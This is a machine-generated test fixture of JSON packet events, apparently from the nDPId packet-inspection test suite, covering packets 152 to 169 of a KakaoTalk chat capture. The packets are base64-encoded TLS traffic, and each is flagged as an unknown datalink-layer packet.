+01264{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":152,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069031,"pkt_ts_usec":307257,"pkt_caplen":710,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":710,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAArbmwUAAPwbmrQoYUryt\/GECiq8Bu\/wa8QNgIrlQUBhVAGkjAAAXAwECiZS+fvCMwFegQ0bzmYnpfQrEB+RhF8\/NHrb1W5TMiHVhUug9LFhY+Xo8kDcLit7K7VsANc15KjMkrC7p5rOMw70l4HlgoOM0hwys4eSGEKzzdhBBaCkJU9cpjY0nfFM3n0wyE\/+KL79uZ3OEeLrZWCJTliiuRkKdbS4\/5sK7iYsnobx+jyhvhzofMxSWRCJwJ1FrjpFTz4wJwtgsOSj40ars6Nqlm7TFCUHttSU44YVPqqlMXD\/ca+46TkQYecV9ki0l7btVy3S2uuR9KlgUjXdNcjaRc9+vMsSe5szGHLEiZF2kyZF0fQzR7pn5VIwWQM5ZDVfUlGIuWP+duOrl0tWWW+kTg6C4LxXjzYEPXBlRQ+I4lHJWri9KhG1uOKjiW0eSZwwCjF6Eths3YCCgr4EC3+eiCqkBiIxd8L+OjG2DNHZuY+yqnydUwLghupvLUAjbasPHlJn10Rrrnc3sG0FipbM7nO00OkmQD\/L8wHooZNUtPPv6\/uKGbDBYwR2iRRVcd+cTS4rXihJzICfFaWCL1woEXXqaGHopb2\/nOfvjyYC3UGPUPj3pO6zsf1iEvTL7v4toIpwwDsNEP8mILCCXnjhcCjbwc5mjFKewdb2RRpFrA68GwmS0D27vUPcRy+RY8lP\/BDVIPc1pAmn1p4ctRThaoLDPJq4OERwAuNuyjCNv\/HcxGrbpWR8Rjrk557YIAYvbGDtet9H9TNJBf0G3+bytMr9mRM2kenM8rDNagVZl9GhTc5WFjcLk0d2OCpXggi1d+9Ufy\/Me1kiKKKtytKfPDTWvhhBoYSHD14Hd6OuuW5IcL3IadbsxqG69OA\/3SRpWBaUofoqIPtkoUJn4Otqq+cHSBI8="} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":152,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","datalink":113} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":153,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069031,"pkt_ts_usec":320197,"pkt_caplen":60,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":60,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUAACwAAEAAjgYslx8NRFQKGFK8Abuwm2JwnlHLT2hEYBClZFGIAAABAQEB"} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":153,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","datalink":113} +00729{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":154,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069031,"pkt_ts_usec":324103,"pkt_caplen":314,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":314,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUAASreMkAAjgZNdB8NREYKGFK8AbuqPWAZ4YqKfXeuUBijUorpAAAWAwMAygQAAMYAAU\/wAMBVHjam70NsXKmFktX9OLRV3YW3KiUQuOqN1FzWPcBO2Et03yyINLQdz\/ndDVoWPD7U8NC3SmJyo5jUpwEoAJ5wOCBOOxuOf5V+3LtD+BB8hm1unEtAgc7cGUi7GUhLz2NLFgDn2+Z1lyRyjjjcwNVdiAVTn5\/EDwbsubmyUkRKAIA5a\/2kEtaZBGPYMQ253A7gaxVCvOGXElG4B\/gzVDtYtARPtVTYxmpNSN9FtwTopft1MGsZC3eYVVN8EWOh3YsUAwMAAQEWAwMAKD2B\/Wu8yi7agEyRP4bzs5+7xX0O7zbhuRmJUe+IgRLm6WQCzJkvkcQ="} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":154,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","datalink":113} +00456{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":155,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069031,"pkt_ts_usec":339881,"pkt_caplen":113,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":113,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUAAGHeM0AAjgZOPB8NREYKGFK8AbuqPWAZ4oyKfXeuUBijUordAAAXAwMAND2B\/Wu8yi7b5Ns5VXFaiPnXdgHuqTcZ5MIFcOqsqsqmIDEchRtinahnJiOw9fPrlgUNgXg="} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":155,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","datalink":113} +00441{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":156,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069031,"pkt_ts_usec":340613,"pkt_caplen":101,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":101,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUAAFXeNEAAjgZORx8NREYKGFK8AbuqPWAZ4sWKfXeuUBijUjPHAAAXAwMAKD2B\/Wu8yi7czonnIENQMF41NeMVLDFol62z2PeO2U2xtJvF\/6az1l4="} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":156,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","datalink":113} +00377{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":157,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069031,"pkt_ts_usec":341162,"pkt_caplen":56,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":56,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUAACjTSEAAjwZYUh8NRFQKGFK8Abuwm2JwnlHLT2p+UBCkxGH0AAA="} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":157,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","datalink":113} +00377{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":158,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069031,"pkt_ts_usec":342597,"pkt_caplen":56,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":56,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAACh6sUAAPwYA+AoYUrwfDURGqj0Bu4p9d65gGeLFUBBfAJ+pAAA="} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":158,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","datalink":113} +00377{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":159,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069031,"pkt_ts_usec":347602,"pkt_caplen":56,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":56,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUAAChecEAAjgYija38YQIKGFK8AbuKr2AiuVD8GvORUBCkrAnLAAA="} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":159,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","datalink":113} +00377{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":160,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069031,"pkt_ts_usec":380744,"pkt_caplen":56,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":56,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAACh6skAAPwYA9woYUrwfDURGqj0Bu4p9d65gGeLyUBBfAJ98AAA="} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":160,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","datalink":113} +02094{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":161,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069031,"pkt_ts_usec":391516,"pkt_caplen":1336,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":1336,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUABSjTSUAAjwZTUR8NRFQKGFK8Abuwm2JwnlHLT2p+UBCkxN7TAAAWAwMAbgIAAGoDA8C8sU+4sP7tT3CKYvhEo\/qSTcQI4WbvTwFIUXjcfkAWAMArAABCAAAAAP8BAAEAAAsABAMAAQIAIwAAM3QAKQ9zcGR5LzMuMS1mYi0wLjUIc3BkeS8zLjEGc3BkeS8zCGh0dHAvMS4xFgMDDNkLAAzVAAzSAAZwMIIGbDCCBVSgAwIBAgIQBnjbTdvaLb44isb+B0TcyDANBgkqhkiG9w0BAQUFADBmMQswCQYDVQQGEwJVUzEVMBMGA1UEChMMRGlnaUNlcnQgSW5jMRkwFwYDVQQLExB3d3cuZGlnaWNlcnQuY29tMSUwIwYDVQQDExxEaWdpQ2VydCBIaWdoIEFzc3VyYW5jZSBDQS0zMB4XDTE0MDgyODAwMDAwMFoXDTE1MTAyODEyMDAwMFowYTELMAkGA1UEBhMCVVMxCzAJBgNVBAgTAkNBMRMwEQYDVQQHEwpNZW5sbyBQYXJrMRcwFQYDVQQKEw5GYWNlYm9vaywgSW5jLjEXMBUGA1UEAwwOKi5mYWNlYm9vay5jb20wWTATBgcqhkjOPQIBBggqhkjOPQMBBwNCAATY0d01veJZtvubH1QVjNu\/Tli9R764EPwi6dKemPhJKiX7lEbkQpmEUBxfAf0UJTFcTtlk\/cUMs0bSobxwtIeOo4ID5DCCA+AwHwYDVR0jBBgwFoAUUOpzidsp+xCPnuUBINTeeZlIg\/cwHQYDVR0OBBYEFEMJk0D6EUswM+zyh26NcRjPiryOMIICOwYDVR0RBIICMjCCAi6CDiouZmFjZWJvb2suY29tggxmYWNlYm9vay5jb22CCyouZmJzYnguY29tggsqLmZiY2RuLm5ldIIOKi54eC5mYmNkbi5uZXSCDioueHkuZmJjZG4ubmV0ggZmYi5jb22CCCouZmIuY29tghgqLmZhY2Vib29rY29yZXd3d2kub25pb26CFmZhY2Vib29rY29yZXd3d2kub25pb26CGCouZmJjZG4yM2Rzc3IzanFucS5vbmlvboIWZmJjZG4yM2Rzc3IzanFucS5vbmlvboIYKi5mYnNieDJxNG12Y2w2M3B3Lm9uaW9ughZmYnNieDJxNG12Y2w2M3B3Lm9uaW9ughAqLm0uZmFjZWJvb2suY29tgg8qLm1lc3Nlbmdlci5jb22CDW1lc3Nlbmdlci5jb22CGioubS5mYWNlYm9va2NvcmV3d3dpLm9uaW9ughsqLnh4LmZiY2RuMjNkc3NyM2pxbnEub25pb26CGXh4LmZiY2RuMjNkc3NyM2pxbnEub25pb26CGyoueHkuZmJjZG4yM2Rzc3IzanFucS5vbmlvboIZeHkuZmJjZG4yM2Rzc3IzanFucS5vbmlvboIOKi54ei5mYmNkbi5uZXSCDHh6LmZiY2RuLm5ldIIbKi54ei5mYmNkbjIzZHNzcjNqcW5xLm9uaW9ughl4ei5mYmNkbjIzZHNzcjNqcW5xLm9uaW9ughhtLmZhY2Vib29rY29yZXd3d2kub25pb24wDgYDVR0PAQH\/BAQDAgOIMB0GA1UdJQQWMBQGCCsGAQUFBwMBBggrBgEFBQcDAjBhBgNVHR8EWjBYMCqgKKAmhiRodHRwOi8vY3JsMy5kaWdpY2VydC5jb20vY2EzLWcyOS5jcmwwKqAooCaGJGh0dHA6Ly9jcmw0LmRpZ2ljZXJ0Lg=="} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":161,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","datalink":113} +00377{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":162,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069031,"pkt_ts_usec":393286,"pkt_caplen":56,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":56,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAChjEUAAPwYYigoYUrwfDURUsJsBu8tPan5icKNRUBBBAMC4AAA="} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":162,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","datalink":113} +02100{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":163,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069031,"pkt_ts_usec":408515,"pkt_caplen":1336,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":1336,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUABSjTSkAAjwZTUB8NRFQKGFK8Abuwm2Jwo1HLT2p+UBikxPFIAABjb20vY2EzLWcyOS5jcmwwQgYDVR0gBDswOTA3BglghkgBhv1sAQEwKjAoBggrBgEFBQcCARYcaHR0cHM6Ly93d3cuZGlnaWNlcnQuY29tL0NQUzB7BggrBgEFBQcBAQRvMG0wJAYIKwYBBQUHMAGGGGh0dHA6Ly9vY3NwLmRpZ2ljZXJ0LmNvbTBFBggrBgEFBQcwAoY5aHR0cDovL2NhY2VydHMuZGlnaWNlcnQuY29tL0RpZ2lDZXJ0SGlnaEFzc3VyYW5jZUNBLTMuY3J0MAwGA1UdEwEB\/wQCMAAwDQYJKoZIhvcNAQEFBQADggEBAH+E197NT+uv3Gl8Ww0Hto52ip4HI8J9GUO31fXVPsBGGztPmX3vZUA9efuefcpD+c2QQNKsmEtaGlR+Pq2Ym7KusJlTkLZFL0HEeHlPMlC7JkqP3K\/+DkhpxjoDBHNmeFnn45su154px8ew83Ei9w0gkLUTjRJHdw135yyAdeFyLcpRVBaExOCS5rUMN2SxBjQlAqoaeMNHcqm61B\/TRBodNw2f2GV45V33ZCjqHQZ4orzOuwKHpoiBLcUbRodTiFMpead9ct0m\/MnY+4rDyDD+Nd\/OS40p2kN1mfylJsFxllg98sOS0J+KuLubjD1CJFuBsekpEiWyV2GwDB6GLpQABlwwggZYMIIFQKADAgECAhAKXxFNA1sXkRfS79QDjD87MA0GCSqGSIb3DQEBBQUAMGwxCzAJBgNVBAYTAlVTMRUwEwYDVQQKEwxEaWdpQ2VydCBJbmMxGTAXBgNVBAsTEHd3dy5kaWdpY2VydC5jb20xKzApBgNVBAMTIkRpZ2lDZXJ0IEhpZ2ggQXNzdXJhbmNlIEVWIFJvb3QgQ0EwHhcNMDgwNDAyMTIwMDAwWhcNMjIwNDAzMDAwMDAwWjBmMQswCQYDVQQGEwJVUzEVMBMGA1UEChMMRGlnaUNlcnQgSW5jMRkwFwYDVQQLExB3d3cuZGlnaWNlcnQuY29tMSUwIwYDVQQDExxEaWdpQ2VydCBIaWdoIEFzc3VyYW5jZSBDQS0zMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAv2EKKRAfXv40N1EI+B77Iu1hvgsNcExQYyZ1FblBiJe28KAVuwhg4ELoBSkQhzaKKGWo7zEHdG02ly8oRmYExyp5JnqZ1Y7DbU+gXq28PZHCWXteNmzAU88ACDI+EGRYEBNpxwzunEJRAPkFRO4kznof7YwRvRKo8xX0HHoxaQEbp+ZdwJpsfgme51JEShA6I+SbtgOvqJy0W5\/US62SjM61ESqqNxiNtMK42FwGjPj\/I701XtR8Pn6DDpGWBZjDsh\/jyGXrqXtdoCzM\/DzZbe3M+ktDjMnUuKVhHLJAtigS37n4X\/7TssnvPbQeS3wcTJk2nj3r7KdoXh3fZ25e+wIDAQABo4IC+jCCAvYwDgYDVR0PAQH\/BAQDAgGGMIIBxgYDVR0gBIIBvTCCAbkwggG1BgtghkgBhv1sAQMAAjCCAaQwOgYIKwYBBQUHAgEWLmh0dHA6Ly93d3cuZGlnaWNlcnQuY29tL3NzbC1jcHMtcmVwb3NpdG9yeS5odG0wggFkBggrBgEFBQcCAjCCAVYeggFSAEEAbgB5ACAAdQBzAGUAIABvAGYAIAB0AGgAaQBzACAAQwBlAHIAdABpAGYAaQBjAA=="} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":163,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","datalink":113} +01745{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":164,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069031,"pkt_ts_usec":408850,"pkt_caplen":1067,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":1067,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUABBvTS0AAjwZUXB8NRFQKGFK8Abuwm2JwqFHLT2p+UBikxKuaAABhAHQAZQAgAGMAbwBuAHMAdABpAHQAdQB0AGUAcwAgAGEAYwBjAGUAcAB0AGEAbgBjAGUAIABvAGYAIAB0AGgAZQAgAEQAaQBnAGkAQwBlAHIAdAAgAEMAUAAvAEMAUABTACAAYQBuAGQAIAB0AGgAZQAgAFIAZQBsAHkAaQBuAGcAIABQAGEAcgB0AHkAIABBAGcAcgBlAGUAbQBlAG4AdAAgAHcAaABpAGMAaAAgAGwAaQBtAGkAdAAgAGwAaQBhAGIAaQBsAGkAdAB5ACAAYQBuAGQAIABhAHIAZQAgAGkAbgBjAG8AcgBwAG8AcgBhAHQAZQBkACAAaABlAHIAZQBpAG4AIABiAHkAIAByAGUAZgBlAHIAZQBuAGMAZQAuMBIGA1UdEwEB\/wQIMAYBAf8CAQAwNAYIKwYBBQUHAQEEKDAmMCQGCCsGAQUFBzABhhhodHRwOi8vb2NzcC5kaWdpY2VydC5jb20wgY8GA1UdHwSBhzCBhDBAoD6gPIY6aHR0cDovL2NybDMuZGlnaWNlcnQuY29tL0RpZ2lDZXJ0SGlnaEFzc3VyYW5jZUVWUm9vdENBLmNybDBAoD6gPIY6aHR0cDovL2NybDQuZGlnaWNlcnQuY29tL0RpZ2lDZXJ0SGlnaEFzc3VyYW5jZUVWUm9vdENBLmNybDAfBgNVHSMEGDAWgBSxPsNpA\/i\/RwHUmCYaCALvY2QrwzAdBgNVHQ4EFgQUUOpzidsp+xCPnuUBINTeeZlIg\/cwDQYJKoZIhvcNAQEFBQADggEBAB7ipUiebNtTOA\/vphoqrOIDQ+2avD6OdRvw\/S4iWawTwGHi5\/rpmc2HCXVUKL9GYNy+USyS8xuRfDEIcOI3ucFbqL2jCwD7GhX9A61YasXHJJlIR0YxHpLvtF9ONMeQvzHB+LGEhtCcAarfilYGzjrpDq6XdF3XcZpCdF\/ejUN83ulV7WkAywXgemFhM9EZTfkI7qA5xSU1tyvED7Ld8aW3DiTEJiiNeXf1L\/BXunwH1OH8zVowV36GEEfdMR\/X\/KLCvzB8XSSq6PmuX2p0ws5rs0bYIb4p1I5eFdZCSucyb6Sxa1GDWL4\/bcf72gMhy2oWGU4K8K2Eyl2Us1p292EWAwMAlAwAAJADABdBBLqTQNJNU36ZQWb8HeASPcp0WN1Rk4KDJvBxVzB10Jd4+P\/JPbK+vtohJwIS0YYBJvFwto2+iZ+\/rcILUXt2mRMGAwBHMEUCIEMUDwjj2qLKmC3WwO\/lTl0MPMIzWL05LJ1COe36qWcXAiEAg2V0m0767p57whXPk83nVJXKEyr73YpOd8\/yNfVshnEWAwMABA4AAAA="} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":164,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","datalink":113} +00377{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":165,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069031,"pkt_ts_usec":410895,"pkt_caplen":56,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":56,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAChjEkAAPwYYiQoYUrwfDURUsJsBu8tPan5icKhRUBBLALG4AAA="} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":165,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","datalink":113} +00377{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":166,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069031,"pkt_ts_usec":410956,"pkt_caplen":56,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":56,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAChjE0AAPwYYiAoYUrwfDURUsJsBu8tPan5icKxEUBBVAKPFAAA="} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":166,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","datalink":113} +01997{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":167,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069031,"pkt_ts_usec":425727,"pkt_caplen":1257,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":1257,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUABNljFEAAPwYT1goYUrwfDURUsJsBu8tPan5icKxEUBhVAJopAAAWAwMARhAAAEJBBPON\/LJqBr6qw7RzueZWdveH9RPDKIh0taTOaFM3l3OAde7h9Djd2tDgsIIINv3z09StvnD4Ph6OT2kafg+cKTYUAwMAAQEWAwMAPCwS+j2T0BmMYu44G7vYhClL6WUsbXbIjtRbfAnve+HDw2rVFjj6HECBr4cseaIL4ewKMLUqCzSKe\/Q8fhYDAwAoLBL6PZPQGY1xRCv\/MFccwmSU1tfDnnMr4gw3uYP7IkY1RioDkLjdUBcDAwPtLBL6PZPQGY6B8r6UGDXRbNsCCbsyRUcauQJQAmyiKg1VzXwdC8G1EhBGayJ2RPnxqfrO\/PjmM5tQU7jgiBRdsclpbRBi+EwNhS5AruPWrJ\/yiif9Ctpgx+7vdVMbMyi\/vlVNB7zBUdwjyQbYShVRS48KJdLrttXnToVlUNS2QdLmvPsAYJ8mSMYYiE1zxK7MX2gv8YWMv7au821PnB+oj6rcBimlhPAO455i\/j07QwBh+4ftQgV3lkRDicOM2tRRLxjw5hU1zelvd7ZtOSJNQruYzAKcGriBNJpMsJpul62PGvwupCEZP5sjOs3KMV1Cr9CfYhuux+jQRT5mfj6vX3NKX6iJ3O\/IrLW\/FlhcKbgeU+fsBYGA6v9PT82VDCG5+ILyHYmHYf7cfnPt8WPHeSWeWDJ8f8AmUsNEafgoZ01npr8SUtPh13C7wNutcn7NsuxykOD2vXslWkWWyiu84+c+Trf5hM3WkYcE7p28kUonAF1tpBdGwISKw6ooenbxWbbqv2lsOPVNERLYXTZ18eSCJm\/goP48GtDUjcBfM9FCUsFY3tZt6k9oLe8Z77YUN1nKtxQWRzDqksGUfEe37VXcLV4Mjd+G4Wk8bTRNIgxsVLb6Cv3OSKR2HpUi3Ga3+9G9XfkHbKlJDDTaXmzCYUKqJ58kdKdjTpwdtddpKdDsgdBisnDJWJwF78eTpSvYCe259g0EFsE1thdwwLRCRibBc\/IgHwtZdrh+cf5rdDxQv3HfLo+V7TP0T50DDJUmGA\/4uysW6AOfNxTzVDS4A6WpxKrSzS13Oe1CtS0ZbAE5VkUXHMyHbdK2LBK5wCEgTyXObcCFtUl905nORIodohxUeA11r18OnnXjqu7KF12JXWkL9kvYWAmUJy+X+oWnA6LQXh0WtnF2SEN6ikR8vVfXoWFFCUvKCG5OUXCEZL+XiO3X0bjZe1\/E2g9Ke4lMf4PNhB0aOZHflkv4xdQwsYbNLeu7gvIh7onn+l1HiszXua0fkDui4zGZAvd\/KwoKNNlctWtwX1jlctJmgTfXacPh7dXIfievhDkfORC2DjaLuWCG\/CWtPvhIKNlpNqw5JOqOFdQiLP3iBX66mKVYCwP4johGeG95utDAfRDgvwtCu4Bg1BgXcnZvCon7n0RrbBotXiS5ecufwm7UBfZ+I43ytPe3rjdlv8vnG7fsaNSfcMJxIb97jr2HotKcRl\/3Za8RzptvZNsSIYP16rjO6giF5VuOe6+oIaz+9xS3z49ockgUXT+p5UM4Zk9cvdoivxdwDEe8ehPZvHnfYhQCX4bWbp6IZKctRr4jPllvCsicbaviQVruzJboPcbE"} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":167,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","datalink":113} +00451{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":168,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069031,"pkt_ts_usec":441168,"pkt_caplen":109,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":109,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAF16s0AAPwYAwQoYUrwfDURGqj0Bu4p9d65gGeLyUBhfADMmAAAXAwMAMDgatczmcEzHmuU+VrAHitIOA+4DGdOlzrmsgsNaScyVOUhTbCUKH9IMdyRK0lDtUQ=="} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":168,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","datalink":113} +01450{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":169,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069031,"pkt_ts_usec":445685,"pkt_caplen":846,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":846,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAz56tEAAPwb93goYUrwfDURGqj0Bu4p9d+NgGeLyUBhfAJUIAAAXAwMDETgatczmcEzIKtP\/8PWkIQLS43tWz1oMzqcXYsIhjuXvlF+ZHl\/xJrdm8YJ1DQSAN4SxNdmAh5umlE3djSqQRi7J6Z3WyDYOJebkef9D4+YUQJSfU+gCXEd\/1bb4oonIWSBYqYLwzkX\/2FmSDVXjc8iI6g2aftPj+xZIsnFfD8iB0QHNd6UMA+EHUUgOFlfudN58f+Ip5eS4CYHHSJFXei30kBRNZGj2jjBN8ykzoSOtMReGsiYpHP+UVRc+xA\/uaxRv3bAg2Mm5pBQv8iGgORsazX9qIp9hEYqLOgd1DiB\/cwNZkqXLWucD71Bk7WUgajQcmsrfU0m+p9RZXwYGYHqlUt5\/LKhh0jfTxvWkY5wU9U6Afs8TjW7VNlf6N77bEuUwQf3YcQijF05HEBBa40N\/3xPQhP7ODdRGRyPRl8fufDKCzzY7xgvJ\/nfJ2AQdZUIyh7lZA0kKZ5Q4Q6wze8OoOgW42JxpIVDg2JdQ4+ynv0GhhqBsH95klcBT0EGBAZktVsnAbmFSqQLOv71RMgLkpmp6UlXdwt8Xhskr289ggHTquimGCN1YxdfdTm9IjNsOr0aPIKJ2s87Grl3dEea42cBIV038tsajcVwaaibh2Uli848J8outWLGckVd3\/umtr2HmbVxPT1dPdDowlF\/WReSS\/xB8MNPYlYdgNz1\/BJmu\/JKY8Lel7PeSmKADm\/UHVDodMBry6ZMySyg4Zub5gE3JtruMgJmjYi4dQlZwKpdTIKr4OMy8dD7\/Y1dRAK7aT71d+stAl10NcTC39lIqGOpRM4kDS0CGXz6kjLannMnAeK5Nrs8HwT0kf3SUWreFjcgCNaBGmb53ZcLLQry0B1C43gzo2SRToIlaB+pVV58IdqqCtrE2TQJ7iNxxLS5wriFY7URXj5dsF41i0E+NrVKGkDfq0jl6VVDNVjKJQ1Jw6GGqYwZbXMl\/BqcKFBTRpwCa7oW35lqgjQEqwjTv\/lYsCdLsVvVBljC61i5pjochxYx\/U54MKpTT7eFs7fsgxpnA34SxaYaaAZUfOGlS"} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":169,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","datalink":113} 